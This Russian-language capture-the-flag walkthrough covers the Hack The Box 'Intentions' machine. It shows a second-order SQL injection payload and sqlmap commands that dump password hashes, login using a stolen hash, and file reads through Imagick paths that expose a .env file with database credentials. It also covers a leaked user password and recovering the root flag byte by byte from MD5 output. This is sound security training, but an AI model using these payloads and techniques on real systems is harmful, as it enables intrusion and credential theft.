Сложность: | Hard |
ОС: | Linux |
Баллы: | 40 |
IP: | 10.10.11.220 |
Теги: | Second Order SQLi, LFI, MD5 cracking |
После первичной разведки веб-приложения мы обнаруживаем файл admin.js
, который раскрывает сведения о различиях в работе разных версий API, поддерживаемых веб-сервисом. Далее, с помощью SQLi
второго порядка получаем доступ к БД, содержащей учётные данные пользователей и авторизуемся в роли администратора веб-приложения. После чего, получим PHP-shell через возможности Imagick PHP
и сможем выполнять команды от лица пользователя www-data. Затем повысимся до пользователя greg с помощью пароля к его УЗ на целевой машине, содержащегося в записях git и получим его флаг. Затем, раскроем значение флага пользователя root (альтернативно, ключа), получив первоначальные значения подстрок, MD5 хэши которых можно вывести с помощью утилиты scanner
.
Проведём сканирование цели:
nmap -sV -sC -O -p- 10.10.11.220
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Сразу же добавим домен в /etc/hosts
:
# HTB
10.10.11.220 intentions.htb
Далее, просмотрим основные разделы страницы на предмет полезной информации:
Веб-сервис предоставляет возможность регистрации, после чего пользователь может просматривать галерею картинок. На первый взгляд пока что небезопасный функционал не был обнаружен.
Попробуем осуществить сканирование директорий доступных в сервисе на предмет полезного лута. Для этого воспользуемся любым сканером, который будет Вам привычнее и удобнее:
gobuster dir -x php,txt,html,js,
log-u http://intentions.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
/gallery (Status: 302) [Size: 330] [--> http://intentions.htb]
/admin (Status: 302) [Size: 330] [--> http://intentions.htb]
/storage (Status: 301) [Size: 178] [--> http://intentions.htb/storage/]
/css (Status: 301) [Size: 178] [--> http://intentions.htb/css/]
/js (Status: 301) [Size: 178] [--> http://intentions.htb/js/]
/logout (Status: 302) [Size: 330] [--> http://intentions.htb]
/fonts (Status: 301) [Size: 178] [--> http://intentions.htb/fonts/]
[...]
/js/login.js (Status: 200) [Size: 279176]
/js/gallery.js (Status: 200) [Size: 310841]
/js/admin.js (Status: 200) [Size: 311246]
/js/app.js (Status: 200) [Size: 433792]
/js/mdb.js (Status: 200) [Size: 153684]
Обследуем содержимое js файлов на предмет уязвимых версий, УЗ в коде или дополнительной информации о работе сервиса:
login.js, gallery.js, app.js, mdb.js
– не содержат сведений, которые бы позволили нам дальше развить атаку.
В свою очередь в конце файла admin.js
можно найти следующее:
[...]
("\n Recently we've had some copyrighted images slip through onto the gallery.
\n This could turn into a big issue for us so we are putting a new process in place that all new images must go through our legal council for approval.
\n Any new images you would like to add to the gallery should be provided to legal with all relevant copyright information.
\n I've assigned Greg to setup a process for legal to transfer approved images directly to the server to avoid any confusion or mishaps.
\n This will be the only way to add images to our gallery going forward.
[...]
\n Hey team, I've deployed the v2 API to production and have started using it in the admin section.
\n Let me know if you spot any bugs.
\n This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text!
\n By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.
\n This should take care of the concerns raised by our users regarding our lack of HTTPS connection.
\n ")]),t._v(" "),e("p",{staticClass:"card-text"},[t._v("
\n The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some: "),e("a",{attrs:{rel:"noopener noreferrer nofollow",href:"https://www.php.net/manual/en/class.imagick.php"}}
[...]
В этом комментарии говорится о том, что ранее произошёл инцидент связанный с загрузкой изображений, права на использование которых не были предоставлены автором и впредь изображения будут проверяться с помощью механизма, который настроил пользователь Greg
.
Также, была запущена обновленная версия API и она используется для обработки запросов отправленных администратором веб-сервиса. Помимо этого, в обновлённой версии API доступно наложение эффектов на изображения с помощью PHP класса Imagick
, но что более важно пароли от учётных записей не хранятся напрямую, но используются в хешированном виде.
Предположительно, следующим шагом будет получение доступа к администратору веб-сервиса для того чтобы эксплуатировать дополнительные возможности нового API.
Вернёмся к действиям, которые можно осуществить в обычной учётной записи веб-сервиса и найдём, что при изменении раздела с предпочтениями жанров картинок отправляется следующий запрос:
POST /api/v1/gallery/user/genres HTTP/1.1
Host: intensions.htb
[...]
Content-Length: 31
Origin: http://intensions.htb
Connection: close
Referer: http://intensions.htb/gallery
Cookie:
[...]
{"genres":"food,travel,nature"}
Проверим наличие SQLi в параметр genres
:
POST /api/v1/gallery/user/genres HTTP/1.1
Host: intensions.htb
[...]
Content-Length: 31
Origin: http://intensions.htb
Connection: close
Referer: http://intensions.htb/gallery
Cookie:
[...]
{"genres":"nature'+sleep(10) OR '1'='1'"}
Получили ответ с кодом 200 OK
на этот запрос и телом: { "status":"success" }
Но при попытке просмотра результата работы инъекции с помощью просмотра ленты изображений (feed
) следующим запросом получим ошибку:
GET /api/v1/gallery/user/feed HTTP/1.1
Host: intensions.htb
[...]
Connection: close
Referer: http://intensions.htb/gallery
Cookie:
[...]
Получили ответ с кодом 500 Internal Server Error
и телом: { "message":"Server Error" }
Если же вернуть значения поля genres в изначальное, то можно заметить, что в случае корректной работы в ответ на GET-запрос к /api/v1/gallery/user/feed
отправляются изображения с их соответствующими идентификаторами.
Такое поведение говорит о том, что для проверки на наличие SQLi нужно проверять её нахождение с помощью отправки двух запросов.
Cкопируем запросы в соответствующие файлы req1 и req2 и запустим утилиту SQLMap с параметрами:
sqlmap -r req1 --tamper=space2comment --batch --second-req req2
SQLi была обнаружена и мы получили доступ к содержимому БД. Выведем таблицу с пользователями:
$ sqlmap -r req1 --tamper=space2comment --batch --second-req req2 -D intentions -T users --dump
+----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+
| id | name | admin | email | genres | password | created_at | updated_at |
+----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+
| 1 | steve | 1 | steve@intentions.htb | food,travel,nature | $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa | 2023-02-02 17:43:00 | 2023-02-02 17:43:00 |
| 2 | greg | 1 | greg@intentions.htb | food,travel,nature | $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m | 2023-02-02 17:44:11 | 2023-02-02 17:44:11 |
| 3 | Melisa Runolfsson | 0 | hettie.rutherford@example.org | food,travel,nature | $2y$10$bymjBxAEluQZEc1O7r1h3OdmlHJpTFJ6CqL1x2ZfQ3paSf509bUJ6 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 4 | Camren Ullrich | 0 | nader.alva@example.org | food,travel,nature | $2y$10$WkBf7NFjzE5GI5SP7hB5/uA9Bi/BmoNFIUfhBye4gUql/JIc/GTE2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 5 | Mr. Lucius Towne I | 0 | jones.laury@example.com | food,travel,nature | $2y$10$JembrsnTWIgDZH3vFo1qT.Zf/hbphiPj1vGdVMXCk56icvD6mn/ae | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
[...]
Из полученной таблицы пользователей также выяснили двух администраторов веб-сервиса – Greg
и Steve
, а также их почту и хэши.
Перехватим POST-запрос на авторизацию и изменим версию API на v2. С учётом исправления ошибок и формирования корректного запроса авторизации получим следующее:
POST /api/v2/auth/login HTTP/1.1
Host: intensions.htb
[...]
Content-Length: 102
Origin: http://intensions.htb
Connection: close
Referer: http://intensions.htb/gallery
Cookie:
[...]
{
"email":"greg@intensions.htb",
"hash":"$2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m"
}
Получили ответ с кодом 200 OK, кукой-токеном и телом: {“status”:”success”,”name”:”greg”}
Для пользователя Greg некоторые разделы веб-сервиса изменились:
При изменении изображений отправляется запрос со следующим телом, которое может говорить о наличии LFI:
[...]
{
"path":"/var/www/html/intensions/storage/app/public/animals/ashlee-w-wv36v9TGNBw-upsplash.jpeg",
"effect":"charcoal"
}
При изменении параметра пути возможно осуществить LFI: mvg:/file[20x20+20+20]
Таким образом мы можем прочесть файл переменных окружения (посредством mvg:/var/www/html/intentions/.env[20x20+20+20]
) и получить дополнительную информацию о целевой машине:
APP_NAME=Intentions
APP_ENV=production
APP_KEY=base64:YDGHFO792XTVdInb9gGESbGCyRDsAIRCkKoIMwkyHHI=
APP_DEBUG=false
APP_URL=http://intentions.htb
LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=localhost
DB_PORT=3306
DB_DATABASE=intentions
DB_USERNAME=laravel
DB_PASSWORD=02mDWOgsOga03G385!!3Plcx
[...]
Получили ряд УЗ, которые, возможно, будут полезны нам в дальнейшем.
Как уже ранее выяснили на этапе разведки – для редактирования изображений в аккаунтах администраторов веб-сервиса используется Imagick PHP. Поиски уязвимостей этого PHP-класса привели к статье от PT SWARM, описывающей в том числе механизм эксплуатации MSL не только для LFI, но также и для загрузки PHP-shell (разделы Exploring the MSL Format и RCE #2: VID Scheme).
Повторим эту механику на нашей цели, в результате чего получим доступ через PHP-shell к пользователю www-data
.
Сразу после того как мы получаем доступ к пользователю www-data
обнаруживаем в /var/www/html/intensions
папку .git
, но текущий пользователь не обладает правами, достаточными для чтения её содержимого. Мы можем упаковать эту папку в архив и загрузить её на машину атакующего для дальнейшего изучения возможного наличия УЗ локальных пользователей целевой машины:
cp -r .git /tmp/.git
tar -cvf git.tar /tmp/.git
После получения архива с содержимым и исследования его на наличие УЗ обнаружим следующее:
[...]
{
public static function getToken($test, $admin = false) {
$res = $test->postJson('/api/v1/auth/login', ['email' =>
'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
return $res ->headers->get('Authorization');
[...]
Получили пароль локального пользователя greg
: Gr3g1sTh3B3stDev3l0per!1998!
Подключимся по протоколу SSH и получим флаг пользователя:
Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root: sudo -l
В предыдущем разделе мы выяснили, что пользователь greg
является членом группы scanner
.
Выведем все файлы, права на которые выданы членам группы scanner
: find / -group scanner 2> /dev/null
Рассмотрим более подробно что из себя представляет /opt/scanner
:
Утилита scanner
предназначена для обнаружения дубликатов изображений или же загруженных без разрешения автора по MD5 и чёрному списку. В утилите доступен параметр -l
, с помощью которого можно указывать количество байт файла, которые хэшируются. В случае текстовых файлов это равнозначно хэшированию первых n-символов. Отсюда выстраивается метод, с помощью которого мы можем прочитать флаг пользователя root.txt
, поскольку директория с флагом нам заведомо известна. Альтернативно, таким же образом можно попытаться прочитать файл /root/.ssh/id_rsa
, если он существует и с помощью этого ключа получить доступ от root
.
Далее, с помощью сервиса CrackStation вычислим значение первого байта по полученному значению хэша MD5:
Это значит, что первый символ флага – 0.
Аналогично, автоматизируя процесс выясним, что:
MD5:451d61219a5767f9d0151f77f2709042 -> 0aa62b113d2e2c0d3409273c62807ebc
Получили флаг пользователя root!
https://portswigger.net/web-security/sql-injection#second-order-sql-injection
https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
https://blog.wm-team.cn/index.php/archives/38/
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/